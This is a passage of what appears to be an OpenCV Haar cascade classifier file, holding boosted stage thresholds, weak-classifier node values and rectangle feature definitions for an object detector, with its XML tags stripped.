-3.3049881458282471e-02 -1 -2 497 + 4.5050241053104401e-02 + + -3.6825481057167053e-01 9.3770343810319901e-03 + 7.1570581197738647e-01 + <_> + + 1 0 498 -3.5275409463793039e-03 -1 -2 499 + 2.2250709589570761e-03 + + -3.7336608767509460e-01 -6.6712491214275360e-02 + 4.9906119704246521e-01 + <_> + + 1 0 500 1.3609490124508739e-03 -1 -2 501 + -2.9087859392166138e-01 + + 1.7162929475307465e-01 3.6158901453018188e-01 + -5.0871372222900391e-01 + <_> + + 1 0 502 3.3148950897157192e-03 -1 -2 503 + -8.8641437469050288e-04 + + -7.1788138151168823e-01 2.5713619589805603e-01 + -1.7978949844837189e-01 + <_> + + 1 0 504 1.1313590221107006e-03 -1 -2 505 + -3.0621800106018782e-03 + + 3.5387420654296875e-01 3.0790808796882629e-01 + -3.1217241287231445e-01 + <_> + + 1 0 506 2.5443620979785919e-03 -1 -2 507 + -6.7088878713548183e-03 + + -5.6788551807403564e-01 2.1222899854183197e-01 + -2.6821109652519226e-01 + <_> + + 0 1 508 -1.6446809470653534e-01 -1 -2 509 + 4.0828108787536621e-02 + + 4.9016961455345154e-01 -3.1217470765113831e-01 + 2.4748149514198303e-01 + <_> + + 0 1 510 -3.6051510833203793e-03 -1 -2 511 + -2.3608640767633915e-03 + + 3.4355860948562622e-01 2.6566460728645325e-01 + -2.8644719719886780e-01 + <_> + + 0 1 512 1.2965350179001689e-03 -1 -2 513 + 6.0111000202596188e-03 + + -2.9317760467529297e-01 2.1941700577735901e-01 + -6.0014218091964722e-01 + <_> + + 1 0 514 -6.1628420371562243e-04 -1 -2 515 + 2.0573718938976526e-03 + + -3.1292331218719482e-01 2.8763169050216675e-01 + -3.7320709228515625e-01 + <_> + + 0 1 516 -7.7166007831692696e-03 -1 -2 517 + -2.8222459368407726e-03 + + -7.1683251857757568e-01 4.2501831054687500e-01 + -5.3294889628887177e-02 + <_> + + 0 1 518 -7.3861207056324929e-05 -1 -2 519 + 5.8680498041212559e-03 + + 1.4903450012207031e-01 -5.8436650037765503e-01 + 1.0724759846925735e-01 + <_> + + 1 0 520 -7.9013723880052567e-03 -1 -2 521 + 2.7825690340250731e-03 + + -3.4319949150085449e-01 1.7655360698699951e-01 + -6.1473757028579712e-01 + <_> + + 0 1 522 3.2751538674347103e-04 -1 -2 523 + 3.0700899660587311e-02 + + -3.3837568759918213e-01 1.8566130101680756e-01 + -5.3450268507003784e-01 + <_> + + 1 0 524 5.6932470761239529e-03 -1 -2 525 + 2.1375140547752380e-01 + + -5.1750451326370239e-01 1.2332399934530258e-01 + -6.4288139343261719e-01 + <_> + + 0 1 526 -4.4024959206581116e-03 -1 -2 527 + -4.5719969784840941e-04 + + 5.8535677194595337e-01 2.3368820548057556e-01 + -1.9039009511470795e-01 + <_> + + 0 1 528 -4.2587839998304844e-03 -1 -2 529 + -2.3462621029466391e-03 + + -5.1190847158432007e-01 -4.7164770960807800e-01 + 1.4783400297164917e-01 + <_> + + 1 0 530 -6.5065571106970310e-05 -1 -2 531 + -5.5082160979509354e-03 + + -2.9886341094970703e-01 -4.8508960008621216e-01 + 2.0014910399913788e-01 + <_> + + 1 0 532 1.8942790105938911e-02 -1 -2 533 + 6.9123771972954273e-03 + + 3.1028950214385986e-01 -2.8701239824295044e-01 + 2.0534069836139679e-01 + <_> + + 1 0 534 8.1696882843971252e-03 -1 -2 535 + 1.0069769807159901e-02 + + 4.5810830593109131e-01 -2.4175919592380524e-01 + 1.7593820393085480e-01 + <_> + + 1 0 536 2.1663580555468798e-03 -1 -2 537 + 1.0505730286240578e-02 + + -4.9877908825874329e-01 1.6231280565261841e-01 + -4.2988869547843933e-01 + <_> + + 1 0 538 5.7576788822188973e-04 -1 -2 539 + -3.0608899891376495e-02 + + -3.1012570858001709e-01 -7.4064302444458008e-01 + 1.6217179596424103e-01 + <_> + + 0 1 540 -1.3430659659206867e-02 -1 -2 541 + 1.1859040241688490e-03 + + 4.5505639910697937e-01 -2.7227258682250977e-01 + 2.2475010156631470e-01 + <_> + + 0 1 542 -4.9311347538605332e-04 -1 -2 543 + -2.4509918875992298e-03 + + -3.9598318934440613e-01 2.5004211068153381e-01 + -1.6140510141849518e-01 + <_> + + 1 0 544 1.3641949743032455e-02 -1 -2 545 + -3.6733329296112061e-02 + + -6.4525490999221802e-01 3.4197059273719788e-01 + -6.5968327224254608e-02 + <_> + 29 + -1.9677840471267700e+00 + + <_> + + 0 1 546 1.3613830087706447e-03 -1 -2 547 + 1.2211060151457787e-02 + + -3.4383928775787354e-01 -4.0358600020408630e-01 + 5.7873630523681641e-01 + <_> + + 0 1 548 3.2929528970271349e-03 -1 -2 549 + -2.4831980466842651e-02 + + -2.2164349257946014e-01 5.4256910085678101e-01 + -4.7585600614547729e-01 + <_> + + 0 1 550 -3.4081530570983887e-01 -1 -2 551 + 6.0929641127586365e-02 + + 5.3438740968704224e-01 -2.6015359163284302e-01 + 3.7626558542251587e-01 + <_> + + 1 0 552 -1.4399300562217832e-03 -1 -2 553 + -7.5711178779602051e-01 + + -4.1635149717330933e-01 4.7764539718627930e-01 + -1.2374229729175568e-01 + <_> + + 0 1 554 -5.9891431592404842e-03 -1 -2 555 + -8.9398561976850033e-04 + + 2.1848620474338531e-01 1.7726029455661774e-01 + -5.4815018177032471e-01 + <_> + + 1 0 556 2.9013510793447495e-03 -1 -2 557 + 4.4361278414726257e-03 + + -5.6709182262420654e-01 1.4183780550956726e-01 + -5.8784419298171997e-01 + <_> + + 1 0 558 -5.3319290600484237e-05 -1 -2 559 + 2.5481029879301786e-03 + + -3.4821888804435730e-01 1.9745320081710815e-01 + -5.5979222059249878e-01 + <_> + + 1 0 560 7.4882939457893372e-02 -1 -2 561 + 4.8816308379173279e-02 + + 4.6647951006889343e-01 -2.2575210034847260e-01 + 3.2325819134712219e-01 + <_> + + 0 1 562 -3.9128339849412441e-03 -1 -2 563 + -1.3820629566907883e-02 + + -5.9772872924804688e-01 2.6031211018562317e-01 + -2.0211410522460938e-01 + <_> + + 0 1 564 9.4047200400382280e-04 -1 -2 565 + -4.6419431455433369e-03 + + -3.4005248546600342e-01 -4.5187801122665405e-01 + 2.1054859459400177e-01 + <_> + + 1 0 566 -3.1960941851139069e-02 -1 -2 567 + -1.2651160068344325e-04 + + -2.0826019346714020e-01 3.8553190231323242e-01 + -2.3116420209407806e-01 + <_> + + 0 1 568 -5.0413709133863449e-02 -1 -2 569 + -2.0950778853148222e-03 + + 2.2846159338951111e-01 3.2639551162719727e-01 + -3.4385430812835693e-01 + <_> + + 0 1 570 -1.1017880402505398e-02 -1 -2 571 + -9.7415763884782791e-03 + + -7.7388781309127808e-01 3.6731991171836853e-01 + -6.5746001899242401e-02 + <_> + + 0 1 572 5.3386680519906804e-05 -1 -2 573 + 5.9820311143994331e-03 + + -3.5571750998497009e-01 1.7653119564056396e-01 + -4.6110078692436218e-01 + <_> + + 1 0 574 -1.9558269996196032e-03 -1 -2 575 + 7.6739699579775333e-03 + + -3.6172690987586975e-01 1.8038579821586609e-01 + -4.0452030301094055e-01 + <_> + + 1 0 576 4.2935381643474102e-03 -1 -2 577 + 1.4181300066411495e-03 + + 5.2086359262466431e-01 -2.2085809707641602e-01 + 2.7357560396194458e-01 + <_> + + 0 1 578 -2.8263099491596222e-02 -1 -2 579 + 6.3434068579226732e-04 + + -6.3833731412887573e-01 1.5636380016803741e-01 + -3.2148900628089905e-01 + <_> + + 0 1 580 -7.2387307882308960e-03 -1 -2 581 + -9.9928081035614014e-03 + + 2.3126259446144104e-01 3.0397319793701172e-01 + -2.4478439986705780e-01 + <_> + + 1 0 582 6.4995248976629227e-05 -1 -2 583 + -5.3049270063638687e-03 + + 1.5132980048656464e-01 2.0417870581150055e-01 + -4.6260431408882141e-01 + <_> + + 0 1 584 -1.6613099724054337e-02 -1 -2 585 + -1.1630290187895298e-02 + + 3.3399769663810730e-01 3.7053430080413818e-01 + -1.9361549615859985e-01 + <_> + + 1 0 586 1.9068180117756128e-03 -1 -2 587 + -5.6926468387246132e-03 + + -3.8105058670043945e-01 5.0645208358764648e-01 + 6.5170922316610813e-03 + <_> + + 1 0 588 -2.2453670680988580e-04 -1 -2 589 + 9.5565039664506912e-03 + + -3.1526011228561401e-01 -5.3035598993301392e-01 + 2.0532760024070740e-01 + <_> + + 1 0 590 3.1540619675070047e-03 -1 -2 591 + -3.0681329965591431e-01 + + -4.5928329229354858e-01 5.0717717409133911e-01 + -1.4439250342547894e-02 + <_> + + 0 1 592 2.8239809907972813e-03 -1 -2 593 + -3.3063529990613461e-03 + + -1.5437939763069153e-01 -4.3571388721466064e-01 + 3.9342719316482544e-01 + <_> + + 1 0 594 3.7848789361305535e-04 -1 -2 595 + -3.0488630291074514e-03 + + 2.5212600827217102e-01 4.6662339568138123e-01 + -2.2792230546474457e-01 + <_> + + 0 1 596 -1.4724380336701870e-02 -1 -2 597 + 3.6062300205230713e-02 + + -7.8602111339569092e-01 -6.8571321666240692e-02 + 3.6698839068412781e-01 + <_> + + 0 1 598 -2.2327410988509655e-03 -1 -2 599 + -7.8541820403188467e-04 + + -5.9740197658538818e-01 2.0273469388484955e-01 + -1.7221680283546448e-01 + <_> + + 1 0 600 7.8553898492828012e-04 -1 -2 601 + 1.0078109800815582e-02 + + -4.3407449126243591e-01 1.2464140355587006e-01 + -4.8391419649124146e-01 + <_> + + 1 0 602 2.0928790792822838e-02 -1 -2 603 + 1.3340089935809374e-03 + + 5.6864207983016968e-01 1.4524639584124088e-02 + -4.6003210544586182e-01 + <_> + 34 + -1.9657919406890869e+00 + + <_> + + 1 0 604 -1.5313959680497646e-02 -1 -2 605 + -1.4265860430896282e-02 + + -3.4347689151763916e-01 5.8209532499313354e-01 + -3.5527399182319641e-01 + <_> + + 0 1 606 1.2652979930862784e-03 -1 -2 607 + -7.3807648732326925e-05 + + -3.1498318910598755e-01 4.7249591350555420e-01 + -2.6380801200866699e-01 + <_> + + 0 1 608 -3.8527030497789383e-02 -1 -2 609 + -1.4758770354092121e-02 + + 4.1556850075721741e-01 1.5677249431610107e-01 + -3.7650239467620850e-01 + <_> + + 1 0 610 -1.5448270132765174e-03 -1 -2 611 + 6.4564580097794533e-03 + + -3.5932019352912903e-01 2.1276639401912689e-01 + -7.2287178039550781e-01 + <_> + + 0 1 612 1.0267349891364574e-02 -1 -2 613 + -8.6422899039462209e-04 + + -4.6045809984207153e-01 2.4920259416103363e-01 + -2.6721361279487610e-01 + <_> + + 0 1 614 3.2311889808624983e-03 -1 -2 615 + 1.3676529750227928e-02 + + -4.0939199924468994e-01 -2.7391690760850906e-02 + 4.5259070396423340e-01 + <_> + + 1 0 616 3.2787120435386896e-03 -1 -2 617 + -1.4256529975682497e-03 + + -7.0025652647018433e-01 2.5787800550460815e-01 + -1.5093439817428589e-01 + <_> + + 0 1 618 -2.2095029707998037e-03 -1 -2 619 + -8.7701372802257538e-02 + + 3.5148110985755920e-01 4.1978740692138672e-01 + -2.3600180447101593e-01 + <_> + + 0 1 620 -2.8805620968341827e-03 -1 -2 621 + -2.5028509553521872e-03 + + 3.0479869246482849e-01 1.3316699862480164e-01 + -3.1691300868988037e-01 + <_> + + 1 0 622 -5.1710562547668815e-04 -1 -2 623 + 6.7088729701936245e-03 + + -3.5199090838432312e-01 2.0163150131702423e-01 + -6.0948008298873901e-01 + <_> + + 0 1 624 -7.6058752834796906e-02 -1 -2 625 + -3.0889140907675028e-03 + + -6.3694208860397339e-01 -7.9025340080261230e-01 + 1.0366079956293106e-01 + <_> + + 1 0 626 2.5740528944879770e-03 -1 -2 627 + -5.4877097718417645e-03 + + -4.5424199104309082e-01 2.1481299400329590e-01 + -1.9329510629177094e-01 + <_> + + 1 0 628 -1.2507289648056030e-03 -1 -2 629 + -4.3231048621237278e-03 + + -2.1651449799537659e-01 -6.2799078226089478e-01 + 2.4270740151405334e-01 + <_> + + 1 0 630 4.3724630959331989e-03 -1 -2 631 + 7.4632692849263549e-04 + + -5.1889377832412720e-01 -1.1378680169582367e-01 + 2.8224378824234009e-01 + <_> + + 0 1 632 -1.3375070411711931e-03 -1 -2 633 + -2.9367550741881132e-03 + + 2.4589119851589203e-01 2.4335819482803345e-01 + -2.9112818837165833e-01 + <_> + + 0 1 634 6.3193867390509695e-05 -1 -2 635 + -5.1338938064873219e-03 + + -2.5806590914726257e-01 -4.6110409498214722e-01 + 2.4333980679512024e-01 + <_> + + 1 0 636 4.9400608986616135e-03 -1 -2 637 + -5.6112580932676792e-03 + + -3.9632990956306458e-01 2.4502380192279816e-01 + -1.5639010071754456e-01 + <_> + + 1 0 638 4.2950599454343319e-03 -1 -2 639 + 4.5142881572246552e-03 + + -4.7671678662300110e-01 1.0698430240154266e-01 + -9.0471321344375610e-01 + <_> + + 1 0 640 7.5297639705240726e-03 -1 -2 641 + -1.2225280515849590e-03 + + 4.1239809989929199e-01 2.8488171100616455e-01 + -1.9815699756145477e-01 + <_> + + 0 1 642 -3.4703810233622789e-03 -1 -2 643 + 8.3724651485681534e-03 + + -4.4967961311340332e-01 1.5324249863624573e-01 + -3.8666850328445435e-01 + <_> + + 1 0 644 -3.3934618841158226e-05 -1 -2 645 + -2.7241709828376770e-01 + + -3.1429070234298706e-01 -5.5842101573944092e-01 + 1.6627819836139679e-01 + <_> + + 0 1 646 -2.7582740876823664e-03 -1 -2 647 + 2.5530489161610603e-02 + + 2.7189570665359497e-01 -1.9172009825706482e-01 + 4.3780499696731567e-01 + <_> + + 1 0 648 4.2080380953848362e-03 -1 -2 649 + -8.2151442766189575e-03 + + -4.4684138894081116e-01 2.2786709666252136e-01 + -1.7441789805889130e-01 + <_> + + 0 1 650 -2.9405429959297180e-03 -1 -2 651 + -9.4840265810489655e-03 + + -7.2643548250198364e-01 2.0794290304183960e-01 + -1.5239919722080231e-01 + <_> + + 1 0 652 4.2596450075507164e-03 -1 -2 653 + -1.7117479583248496e-03 + + 6.1772680282592773e-01 -7.1106612682342529e-01 + -6.1875251121819019e-03 + <_> + + 0 1 654 -1.3266160385683179e-03 -1 -2 655 + 9.1314306482672691e-03 + + 1.7181269824504852e-01 -4.1138759255409241e-01 + 1.8124279379844666e-01 + <_> + + 1 0 656 6.8382360041141510e-03 -1 -2 657 + 7.5181988067924976e-03 + + -5.7601082324981689e-01 -1.0819079726934433e-01 + 2.9561421275138855e-01 + <_> + + 0 1 658 -7.2788819670677185e-03 -1 -2 659 + -1.8039470538496971e-02 + + -5.8113521337509155e-01 4.5183068513870239e-01 + -2.7083089575171471e-02 + <_> + + 0 1 660 -1.0126599809154868e-03 -1 -2 661 + -6.7263199016451836e-03 + + 2.4344119429588318e-01 1.6870440542697906e-01 + -2.7007728815078735e-01 + <_> + + 0 1 662 -3.2334970310330391e-03 -1 -2 663 + -7.7852200774941593e-05 + + -6.0048222541809082e-01 2.4241769313812256e-01 + -1.2413249909877777e-01 + <_> + + 0 1 664 -6.7774722992908210e-05 -1 -2 665 + 7.1789676439948380e-05 + + 1.5729150176048279e-01 -5.2893507480621338e-01 + -3.1665571033954620e-02 + <_> + + 1 0 666 1.0024299845099449e-02 -1 -2 667 + 9.4298496842384338e-03 + + -4.8646959662437439e-01 1.1240869760513306e-01 + -4.2570489645004272e-01 + <_> + + 0 1 668 -7.4433721601963043e-04 -1 -2 669 + 1.1660560034215450e-02 + + 2.7540761232376099e-01 -2.3117260634899139e-01 + 2.2442330420017242e-01 + <_> + + 1 0 670 3.9079408161342144e-03 -1 -2 671 + 1.6550149768590927e-02 + + -6.3519638776779175e-01 1.0619100183248520e-01 + -4.7654989361763000e-01 + <_> + 32 + -1.7649420499801636e+00 + + <_> + + 1 0 672 -1.8439030274748802e-02 -1 -2 673 + -5.3364519029855728e-02 + + -4.8745709657669067e-01 5.1037812232971191e-01 + -2.2670130431652069e-01 + <_> + + 0 1 674 -7.5706318020820618e-02 -1 -2 675 + -1.5329009620472789e-03 + + 4.1487750411033630e-01 8.5764937102794647e-02 + -4.3470910191535950e-01 + <_> + + 1 0 676 -2.4494890123605728e-02 -1 -2 677 + -3.8144161226227880e-04 + + -2.7532699704170227e-01 3.8043969869613647e-01 + -4.3967849016189575e-01 + <_> + + 1 0 678 -8.8816778734326363e-03 -1 -2 679 + -3.9625130593776703e-02 + + -4.3258818984031677e-01 2.4481220543384552e-01 + -2.6193639636039734e-01 + <_> + + 1 0 680 -3.5907390993088484e-03 -1 -2 681 + 3.7008870393037796e-02 + + -3.6199480295181274e-01 2.2637460380792618e-02 + 5.5778437852859497e-01 + <_> + + 0 1 682 7.8503930126316845e-05 -1 -2 683 + -4.7969701699912548e-03 + + -3.3861130475997925e-01 3.1856098771095276e-01 + -1.6600249707698822e-01 + <_> + + 0 1 684 -1.1298010125756264e-02 -1 -2 685 + -4.4886539690196514e-03 + + 3.7305471301078796e-01 2.9692959785461426e-01 + -2.5235760211944580e-01 + <_> + + 0 1 686 -2.2497780155390501e-03 -1 -2 687 + 2.9247230850160122e-03 + + 3.4263029694557190e-01 -5.6593239307403564e-02 + -7.0626032352447510e-01 + <_> + + 1 0 688 1.7976630479097366e-03 -1 -2 689 + 1.9808609504252672e-03 + + -5.4180228710174561e-01 -2.5643008947372437e-01 + 1.8446870148181915e-01 + <_> + + 0 1 690 -4.7688339836895466e-03 -1 -2 691 + -1.5755610540509224e-02 + + -2.9698228836059570e-01 2.8959378600120544e-01 + -1.6480749845504761e-01 + <_> + + 0 1 692 -1.1919640004634857e-02 -1 -2 693 + 4.2308131232857704e-03 + + -5.8567219972610474e-01 1.3601270318031311e-01 + -4.8162451386451721e-01 + <_> + + 1 0 694 2.0548550412058830e-02 -1 -2 695 + -7.3943338356912136e-03 + + 3.0143499374389648e-01 4.6367760747671127e-02 + -4.2379519343376160e-01 + <_> + + 0 1 696 -6.2137800268828869e-03 -1 -2 697 + 1.4182809973135591e-03 + + 4.5724278688430786e-01 -3.0143639445304871e-01 + 1.8204510211944580e-01 + <_> + + 1 0 698 4.1609420441091061e-03 -1 -2 699 + -3.7915320135653019e-03 + + -5.2654838562011719e-01 -5.8677071332931519e-01 + 1.1703660339117050e-01 + <_> + + 1 0 700 2.0879150833934546e-03 -1 -2 701 + 1.5018540434539318e-03 + + -3.5307729244232178e-01 1.8624800443649292e-01 + -3.2729730010032654e-01 + <_> + + 1 0 702 2.1248809993267059e-02 -1 -2 703 + -5.5249751312658191e-04 + + -3.1979259848594666e-01 2.3370230197906494e-01 + -1.7386199533939362e-01 + <_> + + 0 1 704 -3.0085169710218906e-03 -1 -2 705 + -1.1611919617280364e-03 + + 1.7596049606800079e-01 1.6033430397510529e-01 + -3.9680978655815125e-01 + <_> + + 0 1 706 -3.9655580185353756e-03 -1 -2 707 + -6.5836100839078426e-03 + + 3.6691769957542419e-01 -6.2966358661651611e-01 + -2.4926450103521347e-02 + <_> + + 0 1 708 -9.0950471349060535e-04 -1 -2 709 + -5.7984529994428158e-03 + + 3.9574980735778809e-01 1.7492240667343140e-01 + -2.6837408542633057e-01 + <_> + + 0 1 710 -5.7758802175521851e-01 -1 -2 711 + -1.5161310322582722e-02 + + 5.9611392021179199e-01 -6.6131639480590820e-01 + 3.3608361263759434e-04 + <_> + + 1 0 712 7.6604672358371317e-05 -1 -2 713 + 2.7769979089498520e-02 + + 2.0401589572429657e-01 -3.2097330689430237e-01 + 2.2317400574684143e-01 + <_> + + 0 1 714 -2.6336179580539465e-03 -1 -2 715 + 8.3722146227955818e-03 + + -3.9656499028205872e-01 1.3883970677852631e-01 + -5.8006221055984497e-01 + <_> + + 0 1 716 -7.0203031646087766e-04 -1 -2 717 + -4.8448870074935257e-04 + + 2.7777281403541565e-01 2.1628519892692566e-01 + -2.9692250490188599e-01 + <_> + + 0 1 718 -3.3638171851634979e-02 -1 -2 719 + 4.4241230934858322e-03 + + 3.5791969299316406e-01 -8.6632027523592114e-04 + -5.5872720479965210e-01 + <_> + + 1 0 720 1.1545260436832905e-02 -1 -2 721 + -1.5816639643162489e-03 + + 3.3837619423866272e-01 2.8660699725151062e-02 + -3.5041970014572144e-01 + <_> + + 1 0 722 1.3838140293955803e-02 -1 -2 723 + 2.8327409178018570e-02 + + -7.7886807918548584e-01 -1.8604910001158714e-02 + 6.2147867679595947e-01 + <_> + + 0 1 724 -8.8482163846492767e-03 -1 -2 725 + -1.1661020107567310e-03 + + 2.6369819045066833e-01 1.0302580147981644e-01 + -3.2680010795593262e-01 + <_> + + 0 1 726 -3.2252211123704910e-02 -1 -2 727 + -9.4921119511127472e-02 + + -5.0046241283416748e-01 -7.2761011123657227e-01 + 1.0330100357532501e-01 + <_> + + 1 0 728 2.5177269708365202e-03 -1 -2 729 + -4.0892168879508972e-02 + + -6.3938027620315552e-01 -5.7345229387283325e-01 + 8.1502526998519897e-02 + <_> + + 0 1 730 -1.9293189980089664e-03 -1 -2 731 + -1.4116390375420451e-03 + + 2.4177229404449463e-01 8.0363817512989044e-02 + -3.6146539449691772e-01 + <_> + + 0 1 732 -3.8812779821455479e-03 -1 -2 733 + 4.4630360789597034e-03 + + -5.7638782262802124e-01 9.1835789382457733e-02 + -6.8039101362228394e-01 + <_> + + 0 1 734 2.9870839789509773e-03 -1 -2 735 + 9.4975335523486137e-03 + + -1.0236640274524689e-01 4.9150609970092773e-01 + -3.8011389970779419e-01 + + <_> + + <_> + 8 7 3 12 -1. + <_> + 8 11 3 4 3. + <_> + + <_> + 8 7 8 3 -1. + <_> + 10 9 4 3 2. + 1 + <_> + + <_> + 9 13 2 6 -1. + <_> + 9 16 2 3 2. + <_> + + <_> + 8 2 12 8 -1. + <_> + 11 2 6 8 2. + <_> + + <_> + 14 0 6 6 -1. + <_> + 14 3 6 3 2. + <_> + + <_> + 8 1 5 12 -1. + <_> + 8 4 5 6 2. + <_> + + <_> + 1 8 3 12 -1. + <_> + 1 12 3 4 3. + <_> + + <_> + 0 11 2 7 -1. + <_> + 1 11 1 7 2. + <_> + + <_> + 6 12 9 7 -1. + <_> + 9 12 3 7 3. + <_> + + <_> + 13 4 6 9 -1. + <_> + 15 4 2 9 3. + <_> + + <_> + 4 7 12 12 -1. + <_> + 8 11 4 4 9. + <_> + + <_> + 15 0 4 20 -1. + <_> + 15 5 4 10 2. + <_> + + <_> + 0 12 5 8 -1. + <_> + 0 16 5 4 2. + <_> + + <_> + 8 2 12 8 -1. + <_> + 12 2 4 8 3. + <_> + + <_> + 19 0 1 8 -1. + <_> + 19 4 1 4 2. + <_> + + <_> + 9 7 3 12 -1. + <_> + 9 11 3 4 3. + <_> + + <_> + 1 2 8 8 -1. + <_> + 1 6 8 4 2. + <_> + + <_> + 0 12 4 4 -1. + <_> + 2 12 2 4 2. + <_> + + <_> + 9 7 6 8 -1. + <_> + 9 7 3 4 2. + <_> + 12 11 3 4 2. + <_> + + <_> + 13 18 7 2 -1. + <_> + 13 19 7 1 2. + <_> + + <_> + 4 7 12 12 -1. + <_> + 8 11 4 4 9. + <_> + + <_> + 0 8 5 12 -1. + <_> + 0 12 5 4 3. + <_> + + <_> + 16 0 4 8 -1. + <_> + 18 0 2 8 2. + <_> + + <_> + 16 12 1 8 -1. + <_> + 16 16 1 4 2. + <_> + + <_> + 9 1 9 9 -1. + <_> + 12 1 3 9 3. + <_> + + <_> + 16 16 1 3 -1. + <_> + 15 17 1 1 3. + 1 + <_> + + <_> + 2 14 2 4 -1. + <_> + 2 16 2 2 2. + <_> + + <_> + 6 12 9 3 -1. + <_> + 9 12 3 3 3. + <_> + + <_> + 0 18 5 2 -1. + <_> + 0 19 5 1 2. + <_> + + <_> + 1 7 18 12 -1. + <_> + 7 11 6 4 9. + <_> + + <_> + 4 0 16 12 -1. + <_> + 4 0 8 6 2. + <_> + 12 6 8 6 2. + <_> + + <_> + 8 3 2 5 -1. + <_> + 9 3 1 5 2. + <_> + + <_> + 17 17 1 2 -1. + <_> + 17 17 1 1 2. + 1 + <_> + + <_> + 18 16 1 3 -1. + <_> + 17 17 1 1 3. + 1 + <_> + + <_> + 0 9 2 6 -1. + <_> + 1 9 1 6 2. + <_> + + <_> + 3 3 3 4 -1. + <_> + 4 3 1 4 3. + <_> + + <_> + 4 7 12 12 -1. + <_> + 8 11 4 4 9. + <_> + + <_> + 10 0 7 8 -1. + <_> + 10 4 7 4 2. + <_> + + <_> + 18 0 2 9 -1. + <_> + 19 0 1 9 2. + <_> + + <_> + 4 13 1 4 -1. + <_> + 4 13 1 2 2. + 1 + <_> + + <_> + 10 8 6 2 -1. + <_> + 12 10 2 2 3. + 1 + <_> + + <_> + 14 11 4 7 -1. + <_> + 15 11 2 7 2. + <_> + + <_> + 4 0 13 8 -1. + <_> + 4 2 13 4 2. + <_> + + <_> + 9 1 7 8 -1. + <_> + 9 5 7 4 2. + <_> + + <_> + 7 0 12 9 -1. + <_> + 10 0 6 9 2. + <_> + + <_> + 14 3 4 4 -1. + <_> + 15 3 2 4 2. + <_> + + <_> + 0 16 4 4 -1. + <_> + 0 18 4 2 2. + <_> + + <_> + 3 17 2 1 -1. + <_> + 3 17 1 1 2. + 1 + <_> + + <_> + 17 16 1 3 -1. + <_> + 16 17 1 1 3. + 1 + <_> + + <_> + 11 10 6 4 -1. + <_> + 10 11 6 2 2. + 1 + <_> + + <_> + 19 0 1 4 -1. + <_> + 19 2 1 2 2. + <_> + + <_> + 17 0 3 3 -1. + <_> + 18 1 1 1 9. + <_> + + <_> + 2 1 12 6 -1. + <_> + 2 4 12 3 2. + <_> + + <_> + 19 2 1 16 -1. + <_> + 15 6 1 8 2. + 1 + <_> + + <_> + 12 2 4 6 -1. + <_> + 13 2 2 6 2. + <_> + + <_> + 11 3 3 3 -1. + <_> + 12 3 1 3 3. + <_> + + <_> + 1 7 18 12 -1. + <_> + 7 11 6 4 9. + <_> + + <_> + 8 1 12 9 -1. + <_> + 12 1 4 9 3. + <_> + + <_> + 18 0 2 10 -1. + <_> + 18 5 2 5 2. + <_> + + <_> + 4 5 12 15 -1. + <_> + 8 10 4 5 9. + <_> + + <_> + 1 8 4 12 -1. + <_> + 1 12 4 4 3. + <_> + + <_> + 6 13 8 2 -1. + <_> + 8 13 4 2 2. + <_> + + <_> + 16 0 4 15 -1. + <_> + 18 0 2 15 2. + <_> + + <_> + 14 0 4 8 -1. + <_> + 15 0 2 8 2. + <_> + + <_> + 5 0 8 9 -1. + <_> + 5 3 8 3 3. + <_> + + <_> + 8 0 6 6 -1. + <_> + 10 0 2 6 3. + <_> + + <_> + 10 17 3 3 -1. + <_> + 11 17 1 3 3. + <_> + + <_> + 10 17 4 3 -1. + <_> + 11 17 2 3 2. + <_> + + <_> + 14 12 4 4 -1. + <_> + 15 12 2 4 2. + <_> + + <_> + 8 18 4 2 -1. + <_> + 9 18 2 2 2. + <_> + + <_> + 6 1 4 5 -1. + <_> + 7 1 2 5 2. + <_> + + <_> + 2 0 6 5 -1. + <_> + 4 0 2 5 3. + <_> + + <_> + 8 7 8 3 -1. + <_> + 10 9 4 3 2. + 1 + <_> + + <_> + 14 12 4 3 -1. + <_> + 15 12 2 3 2. + <_> + + <_> + 10 10 3 4 -1. + <_> + 9 11 3 2 2. + 1 + <_> + + <_> + 17 0 2 6 -1. + <_> + 17 3 2 3 2. + <_> + + <_> + 1 9 6 9 -1. + <_> + 3 12 2 3 9. + <_> + + <_> + 5 11 8 4 -1. + <_> + 9 11 4 4 2. + <_> + + <_> + 1 0 16 6 -1. + <_> + 1 3 16 3 2. + <_> + + <_> + 2 0 14 6 -1. + <_> + 2 2 14 2 3. + <_> + + <_> + 0 11 2 9 -1. + <_> + 1 11 1 9 2. + <_> + + <_> + 18 11 1 8 -1. + <_> + 18 11 1 4 2. + 1 + <_> + + <_> + 10 12 3 2 -1. + <_> + 11 12 1 2 3. + <_> + + <_> + 11 13 3 1 -1. + <_> + 12 13 1 1 3. + <_> + + <_> + 15 0 4 8 -1. + <_> + 17 0 2 8 2. + <_> + + <_> + 12 17 4 3 -1. + <_> + 14 17 2 3 2. + <_> + + <_> + 15 17 1 2 -1. + <_> + 15 17 1 1 2. + 1 + <_> + + <_> + 15 16 1 3 -1. + <_> + 14 17 1 1 3. + 1 + <_> + + <_> + 3 0 14 8 -1. + <_> + 3 2 14 4 2. + <_> + + <_> + 18 1 1 2 -1. + <_> + 18 2 1 1 2. + <_> + + <_> + 6 0 8 3 -1. + <_> + 8 0 4 3 2. + <_> + + <_> + 9 4 1 9 -1. + <_> + 9 7 1 3 3. + <_> + + <_> + 6 13 9 2 -1. + <_> + 9 13 3 2 3. + <_> + + <_> + 0 13 5 6 -1. + <_> + 0 16 5 3 2. + <_> + + <_> + 13 12 6 4 -1. + <_> + 15 12 2 4 3. + <_> + + <_> + 4 6 12 2 -1. + <_> + 8 10 4 2 3. + 1 + <_> + + <_> + 19 0 1 8 -1. + <_> + 19 4 1 4 2. + <_> + + <_> + 8 2 12 8 -1. + <_> + 11 2 6 8 2. + <_> + + <_> + 0 12 4 4 -1. + <_> + 2 12 2 4 2. + <_> + + <_> + 7 8 13 9 -1. + <_> + 7 11 13 3 3. + <_> + + <_> + 18 1 2 6 -1. + <_> + 19 1 1 6 2. + <_> + + <_> + 7 4 5 8 -1. + <_> + 7 6 5 4 2. + <_> + + <_> + 11 18 9 2 -1. + <_> + 11 19 9 1 2. + <_> + + <_> + 10 7 2 3 -1. + <_> + 11 7 1 3 2. + <_> + + <_> + 4 18 6 2 -1. + <_> + 6 18 2 2 3. + <_> + + <_> + 6 13 6 7 -1. + <_> + 8 13 2 7 3. + <_> + + <_> + 5 18 6 2 -1. + <_> + 7 18 2 2 3. + <_> + + <_> + 18 5 2 2 -1. + <_> + 18 6 2 1 2. + <_> + + <_> + 6 2 9 4 -1. + <_> + 6 4 9 2 2. + <_> + + <_> + 13 0 7 4 -1. + <_> + 13 0 7 2 